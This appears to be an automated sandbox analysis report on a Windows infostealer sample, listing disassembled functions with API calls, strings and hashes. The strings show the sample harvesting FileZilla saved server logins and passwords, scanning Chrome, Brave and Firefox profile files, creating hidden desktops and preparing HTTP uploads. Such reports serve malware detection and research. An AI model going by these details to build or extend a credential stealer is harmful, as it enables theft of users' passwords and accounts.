Function 006A68F0 Relevance: 210.7, APIs: 115, Strings: 5, Instructions: 696
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01258638), ref: 006A6905
GetProcAddress.KERNEL32(74DD0000,01258678), ref: 006A691D
GetProcAddress.KERNEL32(74DD0000,01253D80), ref: 006A6936
GetProcAddress.KERNEL32(74DD0000,01253D20), ref: 006A694E
GetProcAddress.KERNEL32(74DD0000,01253D98), ref: 006A6966
GetProcAddress.KERNEL32(74DD0000,01253DB0), ref: 006A697F
GetProcAddress.KERNEL32(74DD0000,0125BB98), ref: 006A6997
GetProcAddress.KERNEL32(74DD0000,01253E28), ref: 006A69AF
GetProcAddress.KERNEL32(74DD0000,01253E10), ref: 006A69C8
GetProcAddress.KERNEL32(74DD0000,01253DE0), ref: 006A69E0
GetProcAddress.KERNEL32(74DD0000,01253E40), ref: 006A69F8
GetProcAddress.KERNEL32(74DD0000,01258698), ref: 006A6A11
GetProcAddress.KERNEL32(74DD0000,012586B8), ref: 006A6A29
GetProcAddress.KERNEL32(74DD0000,012586D8), ref: 006A6A41
GetProcAddress.KERNEL32(74DD0000,012586F8), ref: 006A6A5A
GetProcAddress.KERNEL32(74DD0000,01253E70), ref: 006A6A72
GetProcAddress.KERNEL32(74DD0000,01253E58), ref: 006A6A8A
GetProcAddress.KERNEL32(74DD0000,0125BBC0), ref: 006A6AA3
GetProcAddress.KERNEL32(74DD0000,01258718), ref: 006A6ABB
GetProcAddress.KERNEL32(74DD0000,01253E88), ref: 006A6AD3
GetProcAddress.KERNEL32(74DD0000,01253DC8), ref: 006A6AEC
GetProcAddress.KERNEL32(74DD0000,01253DF8), ref: 006A6B04
GetProcAddress.KERNEL32(74DD0000,0125F9F8), ref: 006A6B1C
GetProcAddress.KERNEL32(74DD0000,01258758), ref: 006A6B35
GetProcAddress.KERNEL32(74DD0000,0125FBA8), ref: 006A6B4D
GetProcAddress.KERNEL32(74DD0000,0125FA88), ref: 006A6B65
GetProcAddress.KERNEL32(74DD0000,0125FB48), ref: 006A6B7E
GetProcAddress.KERNEL32(74DD0000,0125F998), ref: 006A6B96
GetProcAddress.KERNEL32(74DD0000,0125FAA0), ref: 006A6BAE
GetProcAddress.KERNEL32(74DD0000,0125FAB8), ref: 006A6BC7
GetProcAddress.KERNEL32(74DD0000,0125FB90), ref: 006A6BDF
GetProcAddress.KERNEL32(74DD0000,0125FBC0), ref: 006A6BF7
GetProcAddress.KERNEL32(74DD0000,0125FA10), ref: 006A6C10
GetProcAddress.KERNEL32(74DD0000,01254BF8), ref: 006A6C28
GetProcAddress.KERNEL32(74DD0000,0125FA70), ref: 006A6C40
GetProcAddress.KERNEL32(74DD0000,0125FB18), ref: 006A6C59
GetProcAddress.KERNEL32(74DD0000,01258778), ref: 006A6C71
GetProcAddress.KERNEL32(74DD0000,0125FC08), ref: 006A6C89
GetProcAddress.KERNEL32(74DD0000,01258798), ref: 006A6CA2
GetProcAddress.KERNEL32(74DD0000,0125FAD0), ref: 006A6CBA
GetProcAddress.KERNEL32(74DD0000,0125FBD8), ref: 006A6CD2
GetProcAddress.KERNEL32(74DD0000,012580B8), ref: 006A6CEB
GetProcAddress.KERNEL32(74DD0000,01258358), ref: 006A6D03
LoadLibraryA.KERNEL32(0125FC20,006A06EF,?,006A2075), ref: 006A6D15
LoadLibraryA.KERNEL32(0125FA28,?,006A2075), ref: 006A6D26
LoadLibraryA.KERNEL32(0125FA40,?,006A2075), ref: 006A6D38
LoadLibraryA.KERNEL32(0125FA58,?,006A2075), ref: 006A6D4A
LoadLibraryA.KERNEL32(0125FB30,?,006A2075), ref: 006A6D5B
LoadLibraryA.KERNEL32(0125F9B0,?,006A2075), ref: 006A6D6D
LoadLibraryA.KERNEL32(0125FAE8,?,006A2075), ref: 006A6D7F
LoadLibraryA.KERNEL32(0125FC50,?,006A2075), ref: 006A6D90
GetProcAddress.KERNEL32(75290000,01258178), ref: 006A6DAC
GetProcAddress.KERNEL32(75290000,0125F968), ref: 006A6DC4
GetProcAddress.KERNEL32(75290000,0125D628), ref: 006A6DDD
GetProcAddress.KERNEL32(75290000,0125FC38), ref: 006A6DF5
GetProcAddress.KERNEL32(75290000,01258118), ref: 006A6E0D
GetProcAddress.KERNEL32(6FCD0000,0125B8C8), ref: 006A6E2D
GetProcAddress.KERNEL32(6FCD0000,01258138), ref: 006A6E45
GetProcAddress.KERNEL32(6FCD0000,0125B918), ref: 006A6E5E
GetProcAddress.KERNEL32(6FCD0000,0125F980), ref: 006A6E76
GetProcAddress.KERNEL32(6FCD0000,0125FB00), ref: 006A6E8E
GetProcAddress.KERNEL32(6FCD0000,012583B8), ref: 006A6EA7
GetProcAddress.KERNEL32(6FCD0000,012581D8), ref: 006A6EBF
GetProcAddress.KERNEL32(6FCD0000,0125FBF0), ref: 006A6ED7
GetProcAddress.KERNEL32(752C0000,012582D8), ref: 006A6EF3
GetProcAddress.KERNEL32(752C0000,01258398), ref: 006A6F0B
GetProcAddress.KERNEL32(752C0000,0125F9E0), ref: 006A6F24
GetProcAddress.KERNEL32(752C0000,0125FB60), ref: 006A6F3C
GetProcAddress.KERNEL32(752C0000,012583D8), ref: 006A6F54
GetProcAddress.KERNEL32(74EC0000,0125B760), ref: 006A6F74
GetProcAddress.KERNEL32(74EC0000,0125BB70), ref: 006A6F8C
GetProcAddress.KERNEL32(74EC0000,0125FB78), ref: 006A6FA5
GetProcAddress.KERNEL32(74EC0000,012583F8), ref: 006A6FBD
GetProcAddress.KERNEL32(74EC0000,01258438), ref: 006A6FD5
GetProcAddress.KERNEL32(74EC0000,0125B940), ref: 006A6FEE
GetProcAddress.KERNEL32(75BD0000,0125F9C8), ref: 006A700E
GetProcAddress.KERNEL32(75BD0000,01258058), ref: 006A7026
GetProcAddress.KERNEL32(75BD0000,0125D618), ref: 006A703F
GetProcAddress.KERNEL32(75BD0000,0125FCF8), ref: 006A7057
GetProcAddress.KERNEL32(75BD0000,0125FD10), ref: 006A706F
GetProcAddress.KERNEL32(75BD0000,01258318), ref: 006A7088
GetProcAddress.KERNEL32(75BD0000,012581F8), ref: 006A70A0
GetProcAddress.KERNEL32(75BD0000,0125FD28), ref: 006A70B8
GetProcAddress.KERNEL32(75BD0000,0125FC68), ref: 006A70D1
GetProcAddress.KERNEL32(75BD0000,CreateDesktopA), ref: 006A70E7
GetProcAddress.KERNEL32(75BD0000,OpenDesktopA), ref: 006A70FE
GetProcAddress.KERNEL32(75BD0000,CloseDesktop), ref: 006A7115
GetProcAddress.KERNEL32(75A70000,01258418), ref: 006A7131
GetProcAddress.KERNEL32(75A70000,0125FCB0), ref: 006A7149
GetProcAddress.KERNEL32(75A70000,0125FCC8), ref: 006A7162
GetProcAddress.KERNEL32(75A70000,0125FC98), ref: 006A717A
GetProcAddress.KERNEL32(75A70000,0125FCE0), ref: 006A7192
GetProcAddress.KERNEL32(75450000,01258258), ref: 006A71AE
GetProcAddress.KERNEL32(75450000,01258218), ref: 006A71C6
GetProcAddress.KERNEL32(75DA0000,01258078), ref: 006A71E2
GetProcAddress.KERNEL32(75DA0000,0125FC80), ref: 006A71FA
GetProcAddress.KERNEL32(6F070000,01258198), ref: 006A721A
GetProcAddress.KERNEL32(6F070000,01258098), ref: 006A7232
GetProcAddress.KERNEL32(6F070000,012580D8), ref: 006A724B
GetProcAddress.KERNEL32(6F070000,01260280), ref: 006A7263
GetProcAddress.KERNEL32(6F070000,012580F8), ref: 006A727B
GetProcAddress.KERNEL32(6F070000,01258158), ref: 006A7294
GetProcAddress.KERNEL32(6F070000,012581B8), ref: 006A72AC
GetProcAddress.KERNEL32(6F070000,01258238), ref: 006A72C4
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 006A72DB
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 006A72F2
GetProcAddress.KERNEL32(75AF0000,01260160), ref: 006A730E
GetProcAddress.KERNEL32(75AF0000,0125D778), ref: 006A7326
GetProcAddress.KERNEL32(75AF0000,01260340), ref: 006A733F
GetProcAddress.KERNEL32(75AF0000,01260298), ref: 006A7357
GetProcAddress.KERNEL32(75D90000,01258278), ref: 006A7373
GetProcAddress.KERNEL32(6E340000,012602C8), ref: 006A738F
GetProcAddress.KERNEL32(6E340000,01258378), ref: 006A73A7
GetProcAddress.KERNEL32(6E340000,012600A0), ref: 006A73C0
GetProcAddress.KERNEL32(6E340000,01260118), ref: 006A73D8

Strings

HttpQueryInfoA, xrefs: 006A72E7
InternetSetOptionA, xrefs: 006A72D0
CloseDesktop, xrefs: 006A710A
CreateDesktopA, xrefs: 006A70E1
OpenDesktopA, xrefs: 006A70F3

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$CreateDesktopA$HttpQueryInfoA$InternetSetOptionA$OpenDesktopA
API String ID: 2238633743-3468015613
Opcode ID: 45e2b704c09f8998b1e44c31457b39bfc5f2df861ea584747976e41b27036ecf
Instruction ID: 2f8c5d873f5013171425cb73c4ad3e2bbbf36fe53898aa2f7a2183f6d0da7f0d
Opcode Fuzzy Hash: 45e2b704c09f8998b1e44c31457b39bfc5f2df861ea584747976e41b27036ecf
Instruction Fuzzy Hash: 3B6233B5911A10DFD754EF68EC99A263BBDF7897013148B19FA95C3364EB34A802DF20

Function 006816A0 Relevance: 202.4, APIs: 114, Strings: 1, Instructions: 1164stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006816E2
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00681719
lstrcpy.KERNEL32(00000000,00000000), ref: 0068176C
lstrcatA.KERNEL32(00000000), ref: 00681776
lstrcpy.KERNEL32(00000000,00000000), ref: 006817A2
lstrcpy.KERNEL32(00000000,00000000), ref: 006817EF
lstrcatA.KERNEL32(00000000,00000000), ref: 006817F9
lstrcpy.KERNEL32(00000000,00000000), ref: 00681825
lstrcpy.KERNEL32(00000000,00000000), ref: 00681875
lstrcatA.KERNEL32(00000000), ref: 0068187F
lstrcpy.KERNEL32(00000000,00000000), ref: 006818AB
lstrcpy.KERNEL32(00000000,?), ref: 006818F3
lstrcatA.KERNEL32(00000000,00000000), ref: 006818FE
lstrlenA.KERNEL32(006B179C), ref: 00681909
lstrcpy.KERNEL32(00000000,00000000), ref: 00681929
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681935
lstrcpy.KERNEL32(00000000,00000000), ref: 0068195B
lstrcatA.KERNEL32(00000000,00000000), ref: 00681966
lstrlenA.KERNEL32(\*.*), ref: 00681971
lstrcpy.KERNEL32(00000000,00000000), ref: 0068198E
lstrcatA.KERNEL32(00000000,\*.*), ref: 0068199A

Part of subcall function 006A4250: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 006A427D
Part of subcall function 006A4250: lstrcpy.KERNEL32(00000000,?), ref: 006A42B2

lstrcpy.KERNEL32(00000000,00000000), ref: 006819C3
lstrcpy.KERNEL32(00000000,?), ref: 00681A0E
lstrcatA.KERNEL32(00000000,00000000), ref: 00681A16
lstrlenA.KERNEL32(006B179C), ref: 00681A21
lstrcpy.KERNEL32(00000000,00000000), ref: 00681A41
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681A4D
lstrcpy.KERNEL32(00000000,00000000), ref: 00681A76
lstrcatA.KERNEL32(00000000,00000000), ref: 00681A81
lstrlenA.KERNEL32(006B179C), ref: 00681A8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00681AAC
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681AB8
lstrcpy.KERNEL32(00000000,00000000), ref: 00681ADE
lstrcatA.KERNEL32(00000000,00000000), ref: 00681AE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00681B11
FindFirstFileA.KERNEL32(00000000,?), ref: 00681B45
StrCmpCA.SHLWAPI(?,006B17A8), ref: 00681B70
StrCmpCA.SHLWAPI(?,006B17AC), ref: 00681B8A
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00681BC4
lstrcpy.KERNEL32(00000000,?), ref: 00681BFB
lstrcatA.KERNEL32(00000000,00000000), ref: 00681C03
lstrlenA.KERNEL32(006B179C), ref: 00681C0E
lstrcpy.KERNEL32(00000000,00000000), ref: 00681C31
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681C3D
lstrcpy.KERNEL32(00000000,00000000), ref: 00681C69
lstrcatA.KERNEL32(00000000,00000000), ref: 00681C74
lstrlenA.KERNEL32(006B179C), ref: 00681C7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00681CA2
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681CAE
lstrlenA.KERNEL32(?), ref: 00681CBB
lstrcpy.KERNEL32(00000000,00000000), ref: 00681CDB
lstrcatA.KERNEL32(00000000,?), ref: 00681CE9
lstrlenA.KERNEL32(006B179C), ref: 00681CF4
lstrcpy.KERNEL32(00000000,?), ref: 00681D14
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681D20
lstrcpy.KERNEL32(00000000,00000000), ref: 00681D46
lstrcatA.KERNEL32(00000000,00000000), ref: 00681D51
lstrcpy.KERNEL32(00000000,00000000), ref: 00681D7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00681DE0
lstrcatA.KERNEL32(00000000,00000000), ref: 00681DEB
lstrlenA.KERNEL32(006B179C), ref: 00681DF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00681E19
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681E25
lstrcpy.KERNEL32(00000000,00000000), ref: 00681E4B
lstrcatA.KERNEL32(00000000,00000000), ref: 00681E56
lstrlenA.KERNEL32(006B179C), ref: 00681E61
lstrcpy.KERNEL32(00000000,?), ref: 00681E81
lstrcatA.KERNEL32(00000000,006B179C), ref: 00681E8D
lstrlenA.KERNEL32(?), ref: 00681E9A
lstrcpy.KERNEL32(00000000,00000000), ref: 00681EBA
lstrcatA.KERNEL32(00000000,?), ref: 00681EC8
lstrcpy.KERNEL32(00000000,00000000), ref: 00681EF4
lstrcpy.KERNEL32(00000000,00000000), ref: 00681F3E
GetFileAttributesA.KERNEL32(00000000), ref: 00681F45
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00681F9F
lstrlenA.KERNEL32(0125D918), ref: 00681FAE
lstrcpy.KERNEL32(00000000,?), ref: 00681FDB
lstrcatA.KERNEL32(00000000,?), ref: 00681FE3
lstrlenA.KERNEL32(006B179C), ref: 00681FEE
lstrcpy.KERNEL32(00000000,00000000), ref: 0068200E
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068201A
lstrcpy.KERNEL32(00000000,?), ref: 00682042
lstrcatA.KERNEL32(00000000,00000000), ref: 0068204D
lstrlenA.KERNEL32(006B179C), ref: 00682058
lstrcpy.KERNEL32(00000000,00000000), ref: 00682075
lstrcatA.KERNEL32(00000000,006B179C), ref: 00682081

Strings

\*.*, xrefs: 0068196C, 00681994

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$AttributesFindFirstFolderPath
String ID: \*.*
API String ID: 4127656590-1173974218
Opcode ID: ba37f204dcd04cc3de3b843c81cbafb3d6abf159fed860780dd238ca47522737
Instruction ID: ca89dc55cd518250a6fc450c692dba922a278d44e6e9fa2eb1414169f0e75a2f
Opcode Fuzzy Hash: ba37f204dcd04cc3de3b843c81cbafb3d6abf159fed860780dd238ca47522737
Instruction Fuzzy Hash: DA926F71911617ABCB21BFA5DC98AEE77BABF45300F044368F949AB251DB34DD02CB90

Function 00696AA0 Relevance: 163.5, APIs: 83, Strings: 10, Instructions: 752stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00696AD5
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00696B08
lstrcpy.KERNEL32(00000000,00000000), ref: 00696B42
lstrcpy.KERNEL32(00000000,00000000), ref: 00696B69
lstrcatA.KERNEL32(00000000,00000000), ref: 00696B74
lstrcpy.KERNEL32(00000000,00000000), ref: 00696B9D
lstrlenA.KERNEL32(\AppData\Roaming\FileZilla\recentservers.xml), ref: 00696BB7
lstrcpy.KERNEL32(00000000,00000000), ref: 00696BD9
lstrcatA.KERNEL32(00000000,\AppData\Roaming\FileZilla\recentservers.xml), ref: 00696BE5
lstrcpy.KERNEL32(00000000,00000000), ref: 00696C10
lstrcpy.KERNEL32(00000000,00000000), ref: 00696C40
LocalAlloc.KERNEL32(00000040,?), ref: 00696C75
strtok_s.MSVCRT ref: 00696CA2
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00696CDD
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00696D0D

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00696BB2, 00696BDF
profile: null, xrefs: 00697108
<Pass encoding="base64">, xrefs: 00696F2C
login: , xrefs: 0069715D
<Host>, xrefs: 00696D94
<Port>, xrefs: 00696E1C
url: , xrefs: 00697117
<User>, xrefs: 00696EA4
browser: FileZilla, xrefs: 006970F9
password: , xrefs: 00697189

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocFolderLocalPathlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 922491270-555421843
Opcode ID: b1053bd8631bd74daf880d7c7b24fa684ce272dc14db88c4d3c4ab62064e4824
Instruction ID: b5607fdc175dddd944621b14adaedbfc3474ec441abd2f4798ecdc06bad89079
Opcode Fuzzy Hash: b1053bd8631bd74daf880d7c7b24fa684ce272dc14db88c4d3c4ab62064e4824
Instruction Fuzzy Hash: 2A425B71A15216AFCB21BBB5DC89AAE7BBBFF04700F044658F946E7251DB34D901CBA0

Function 006860D0 Relevance: 123.3, APIs: 68, Strings: 2, Instructions: 816stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 006860FF
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00686152
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00686185
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006861B5
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006861F0
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00686223
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00686233

Strings

------, xrefs: 00686359, 00686386, 006865FE, 006866EF
", xrefs: 00686697, 00686785

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------
API String ID: 2041821634-2370822465
Opcode ID: 15a2ba42042a405e7c3e6967640f527c63ce11e9e8f80f3f0d08114cb591ca17
Instruction ID: 15f277650b33f123b556b7d3e8c7911f71d732d7deb53561d4b0ba0985adcb89
Opcode Fuzzy Hash: 15a2ba42042a405e7c3e6967640f527c63ce11e9e8f80f3f0d08114cb591ca17
Instruction Fuzzy Hash: E2523D719102169FDB61BFA9DC99AAE77FAFF48300F144228F945A7251DB34EC02CB94

Function 00684C50 Relevance: 112.8, APIs: 61, Strings: 3, Instructions: 807stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00684C7F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00684CD2
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00684D05
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00684D35
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00684D73
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00684DA6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00684DB6

Strings

------, xrefs: 00684EDC, 00684F09, 0068518B, 0068527C
_j, xrefs: 00684C53, 00684C67
", xrefs: 00685224, 00685312

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------$_j
API String ID: 2041821634-2050069615
Opcode ID: 107965930609cb658f3db1620729bcbc701fe19a4b4f286f92b10b22555a1f3c
Instruction ID: 98a964509b1d6e729cff3e51359d3efc5dca4a35457efadb37b72a1ee86901af
Opcode Fuzzy Hash: 107965930609cb658f3db1620729bcbc701fe19a4b4f286f92b10b22555a1f3c
Instruction Fuzzy Hash: 90525A719016169BCB21BFA4DC89AAE7BFAFF48310F144228F945A7251DF34ED42CB94

Function 0068DB80 Relevance: 92.3, APIs: 48, Strings: 4, Instructions: 1271stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068DBD3
lstrcpy.KERNEL32(00000000,?), ref: 0068DC1E
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068DC5F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068DC8F
FindFirstFileA.KERNEL32(?,?), ref: 0068DCA0

Strings

Preferences, xrefs: 0068DF81
\Brave\Preferences, xrefs: 0068E0AA
Google Chrome, xrefs: 0068E5A9
Brave, xrefs: 0068DF6A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindFirst
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 157892242-726946144
Opcode ID: 5b999acc4317f47cf43136ba034d4d7aee5b5493166655563826e72fc71e8113
Instruction ID: 068d5e08039f05b31a75265b71bdc637ddd0801c4da7e07ee3eb50cea719f557
Opcode Fuzzy Hash: 5b999acc4317f47cf43136ba034d4d7aee5b5493166655563826e72fc71e8113
Instruction Fuzzy Hash: 21B28F71A012168FCF64FF69D888A9977F6BF48310F18826DE849AB351DB35EC45CB90

Function 00694C70 Relevance: 79.8, APIs: 44, Strings: 1, Instructions: 1095stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00694CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00694CDF
lstrlenA.KERNEL32(006B4CB4), ref: 00694CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00694D07
lstrcatA.KERNEL32(00000000,006B4CB4), ref: 00694D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00694D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00694D5A

Strings

prefs.js, xrefs: 00694F2C

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
